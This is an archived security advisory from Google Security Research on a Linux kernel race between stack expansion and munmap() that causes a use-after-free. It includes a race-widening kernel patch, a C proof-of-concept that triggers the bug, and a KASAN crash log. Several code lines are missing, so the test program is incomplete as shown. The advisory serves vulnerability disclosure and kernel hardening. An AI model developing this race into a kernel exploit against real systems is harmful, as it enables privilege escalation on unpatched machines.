what you don't know can hurt you

Linux expand_downwards() / munmap() Race Condition

Linux expand_downwards() / munmap() Race Condition
Posted Sep 14, 2020
Authored by Jann Horn, Google Security Research

A race condition exists with munmap() downgrades in Linux kernel versions since 4.20.

tags | exploit, kernel
systems | linux
MD5 | af84b28deac71be6c5fa63ed3e242c89

Linux expand_downwards() / munmap() Race Condition

Change Mirror Download
Linux >=4.20: expand_downwards() can race with munmap() page table freeing

Since 4.20, __do_munmap() downgrades the mmap_sem from write-locked to read-locked
after detaching the VMAs from the mm_struct, but before dropping references to
pages and freeing page tables. This ought to be safe because VMA tree
modifications are protected by the mmap_sem, and therefore nobody else can
racily create a VMA covering the area that __do_munmap() is operating on, and
therefore pretty much nothing except for get_user_pages_fast() will poke around
in the associated page table range.

Unfortunately, the rule of \"you can't mess with the VMA tree unless you have
mmap_sem locked for writing\" has for a long time been violated by the stack
expansion logic (e.g. expand_downwards()). Therefore, if you create two
consecutive mappings A and B, where B is MAP_GROWSDOWN, this can happen:

- thread A: calls munmap(A, <size of mapping A>) and proceeds until
entry to free_pgd_range()
- thread B: takes page fault at address of mapping A, walks down the page table
hierarchy, reaches handle_pte_fault()
- thread A: frees the page table that thread B is currently looking at
- thread B: use after free occurs

If it is not possible to write-lock the mmap_sem in expand_stack(), I guess the
nicest way to fix this would be to refactor things such that instead of
dynamically growing on fault, MAP_GROWSDOWN VMAs are dynamically shrunk when new
VMAs are allocated that don't have enough space, with some sort of check to
ensure that stack VMA shrinking can only affect addresses that have never been
present? That way, all the stack VMA manipulation stuff would automatically
happen with the mmap_sem held for writing...

Or the dirty hack would be to teach munmap() to not downgrade the mmap_sem if
the next VMA is MAP_GROWSDOWN. But the GROWSDOWN stuff has always led to some
data races, so it would be nicer to get rid of that completely...

To test whether this race can occur theoretically, I applied this patch for
race window widening:
diff --git a/mm/memory.c b/mm/memory.c
index dc7f3543b1fd0..a26d5a5f611e5 100644
--- a/mm/memory.c
+++ b/mm/memory.c
@@ -71,6 +71,7 @@
#include <linux/dax.h>
#include <linux/oom.h>
#include <linux/numa.h>
+#include <linux/delay.h>

#include <trace/events/kmem.h>

@@ -329,6 +330,13 @@ void free_pgd_range(struct mmu_gather *tlb,
pgd_t *pgd;
unsigned long next;

+ if (strcmp(current->comm, \"race_munmap\") == 0) {
+ pr_warn(\"delaying free_pgd_range(addr=0x%lx, end=0x%lx, floor=0x%lx, ceiling=0x%lx)...\
+ addr, end, floor, ceiling);
+ mdelay(2000);
+ pr_warn(\"delayed free_pgd_range continues\
+ }
* The next few lines have given us lots of grief...
@@ -4343,6 +4351,13 @@ static vm_fault_t __handle_mm_fault(struct vm_area_struct *vma,

+ if (strcmp(current->comm, \"race_fault\") == 0) {
+ pr_warn(\"delaying __handle_mm_fault(address=0x%lx)...\
+ address);
+ mdelay(5000);
+ pr_warn(\"delayed __handle_mm_fault continues\
+ }
return handle_pte_fault(&vmf);

Then I configured the kernel with all the debugging knobs turned on (KASAN, page
debugging, PREEMPT=y, ...) and ran this testcase:
#include <pthread.h>
#include <unistd.h>
#include <err.h>
#include <sys/mman.h>
#include <sys/prctl.h>

* points to a virtual address that is at the start of the
* VA range covered by an L4 page table
#define STACK_STRADDLE_ADDR ((char*)0x4000000000UL)

/* VA range covered by an L2 page table */
#define L2_TABLE_RANGE 0x200000UL

/* start of a VMA that covers one L2 range before STACK_STRADDLE_ADDR */

/* faulting here will expand stack from STACK_STRADDLE_ADDR */

void *threadfn(void *arg) {
prctl(PR_SET_NAME, \"race_munmap\");
int res = munmap(UNMAP_ADDR, L2_TABLE_RANGE); /* race occurs here */
prctl(PR_SET_NAME, \"race_munmap_\");

if (res)
err(1, \"munmap\");
return NULL;

int main(void) {
-1, 0);
err(1, \"mmap\");
if (b != UNMAP_ADDR)
err(1, \"mmap\");
err(1, \"MADV_NOHUGEPAGE\");
*(volatile char *)UNMAP_ADDR = 1; /* force page table allocation */

pthread_t thread;
if (pthread_create(&thread, NULL, threadfn, NULL))
errx(1, \"pthread_create\");

sleep(1); /* wait for VMA removal */
prctl(PR_SET_NAME, \"race_fault\");
*(volatile char *)EXPAND_FAULT_ADDR = 1; /* race occurs here */
prctl(PR_SET_NAME, \"race_fault_\");

pthread_join(thread, NULL);

resulting in this KASAN UAF report:
delaying free_pgd_range(addr=0x3fffe00000, end=0x4000000000, floor=0x0, ceiling=0x4000000000)...
delaying __handle_mm_fault(address=0x3ffffff000)...
delayed free_pgd_range continues
delayed __handle_mm_fault continues
BUG: KASAN: use-after-free in handle_mm_fault (mm/memory.c:4182 mm/memory.c:4361 mm/memory.c:4398 mm/memory.c:4370)
Read of size 8 at addr ffff888050b23ff8 by task race_fault/2130

CPU: 0 PID: 2130 Comm: race_fault Not tainted 5.8.0-rc2+ #701
Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.13.0-1 04/01/2014
Call Trace:
dump_stack (lib/dump_stack.c:120)
print_address_description.constprop.0.cold (mm/kasan/report.c:384)
kasan_report.cold (mm/kasan/report.c:514 mm/kasan/report.c:530)
handle_mm_fault (mm/memory.c:4182 mm/memory.c:4361 mm/memory.c:4398 mm/memory.c:4370)
exc_page_fault (arch/x86/mm/fault.c:1296 arch/x86/mm/fault.c:1365 arch/x86/mm/fault.c:1418)
asm_exc_page_fault (./arch/x86/include/asm/idtentry.h:565)
RIP: 0033:0x562e5cad0378

I haven't yet figured out whether there is any way to cause a UAF reliably with
this; and when this issue materializes as anything other than a UAF, I'm not
aware of any easy way to exploit it (MAP_GROWSDOWN is limited to
MAP_PRIVATE&&MAP_ANONYMOUS, so e.g. a write fault taken through the
MAP_GROWSDOWN VMA would always be going through the CoW path, and can't be used
to just flip PTEs to writable).
Getting this to manifest as a UAF is made more annoying than it'd usually be on
PARAVIRT kernels because those delay page table freeing using RCU; so while
handle_pte_fault() is in the race window, an entire RCU grace period would have
to pass.

But I wouldn't be surprised if it was possible to trigger this as a UAF with
some effort.
handle_pte_fault() can block on page table allocation under memory pressure, or
on disk I/O in do_swap_page() (when called through a GUP path that does not
permit dropping the mmap_sem).
free_pgd_range() may have to iterate through a lot of memory.
So both of the places where I placed mdelay() calls can probably be slowed down
to at least some degree in practice.

This bug is subject to a 90 day disclosure deadline. After 90 days elapse,
the bug report will become visible to the public. The scheduled disclosure
date is 2020-09-28. Disclosure at an earlier date is possible if
the bug has been fixed in Linux stable releases (per agreement with
security@kernel.org folks).

Found by: jannh@googlemail.com
Login or Register to add favorites

File Archive:

September 2020

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Sep 1st
    20 Files
  • 2
    Sep 2nd
    15 Files
  • 3
    Sep 3rd
    15 Files
  • 4
    Sep 4th
    4 Files
  • 5
    Sep 5th
    1 Files
  • 6
    Sep 6th
    1 Files
  • 7
    Sep 7th
    15 Files
  • 8
    Sep 8th
    27 Files
  • 9
    Sep 9th
    7 Files
  • 10
    Sep 10th
    16 Files
  • 11
    Sep 11th
    9 Files
  • 12
    Sep 12th
    0 Files
  • 13
    Sep 13th
    0 Files
  • 14
    Sep 14th
    25 Files
  • 15
    Sep 15th
    15 Files
  • 16
    Sep 16th
    15 Files
  • 17
    Sep 17th
    15 Files
  • 18
    Sep 18th
    12 Files
  • 19
    Sep 19th
    1 Files
  • 20
    Sep 20th
    1 Files
  • 21
    Sep 21st
    15 Files
  • 22
    Sep 22nd
    21 Files
  • 23
    Sep 23rd
    0 Files
  • 24
    Sep 24th
    0 Files
  • 25
    Sep 25th
    0 Files
  • 26
    Sep 26th
    0 Files
  • 27
    Sep 27th
    0 Files
  • 28
    Sep 28th
    0 Files
  • 29
    Sep 29th
    0 Files
  • 30
    Sep 30th
    0 Files

Top Authors In Last 30 Days

File Tags


packet storm

© 2020 Packet Storm. All rights reserved.

Security Services
Hosting By